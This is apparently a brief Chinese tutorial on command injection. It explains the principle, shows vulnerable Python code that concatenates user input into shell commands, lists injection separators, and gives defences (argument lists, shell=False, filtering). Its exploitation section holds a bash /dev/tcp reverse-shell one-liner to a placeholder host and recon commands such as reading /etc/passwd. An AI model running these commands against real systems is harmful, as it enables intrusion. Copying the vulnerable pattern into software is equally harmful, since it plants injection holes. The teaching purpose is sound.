RCE代码执行与命令执行实战

命令注入原理与防御:危险代码分析、注入连接符、反弹Shell、防御方案。

写在前面:合法学习边界

命令注入攻击只在授权测试环境进行。对非授权系统执行命令注入可能触犯法律。

一、命令注入原理

命令注入原理与防御
1
用户输入 → 命令拼接 → 系统执行 → 结果输出

二、危险代码

1
2
os.system("ping " + user_input)
subprocess.run(f"ping {ip}", shell=True)

三、注入连接符

1
;  ::  &&  ||  `  $( )  |  \n  %0a  %0d%0a

四、利用方式

1
2
3
4
5
6
7
# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

# 信息收集
cat /etc/passwd
whoami
uname -a

五、防御方法

1
2
3
4
5
6
# 方案1:避免拼接
subprocess.run(["ping", ip], shell=False)

# 方案2:输入过滤
# 只允许 IP 格式
# 过滤特殊字符:; | & ` $ ( )

六、小结

命令注入的本质是用户输入被当作命令执行。防御核心是使用参数列表而非字符串拼接,配合输入过滤和沙箱隔离。